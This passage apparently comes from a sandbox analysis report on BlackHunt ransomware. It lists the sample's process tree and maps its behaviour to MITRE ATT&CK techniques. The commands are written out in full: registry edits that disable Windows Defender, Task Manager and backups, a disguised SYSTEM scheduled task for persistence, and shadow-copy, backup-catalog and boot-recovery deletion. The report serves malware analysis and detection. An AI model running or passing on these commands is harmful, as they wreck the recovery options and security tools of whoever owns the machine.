    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2796
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe" /F
  2⤵
  PID:1484
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4648
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:776
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:752
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4340
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3752
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1008
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2764
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3600
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3348
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3388
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3608

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:864

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2252

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery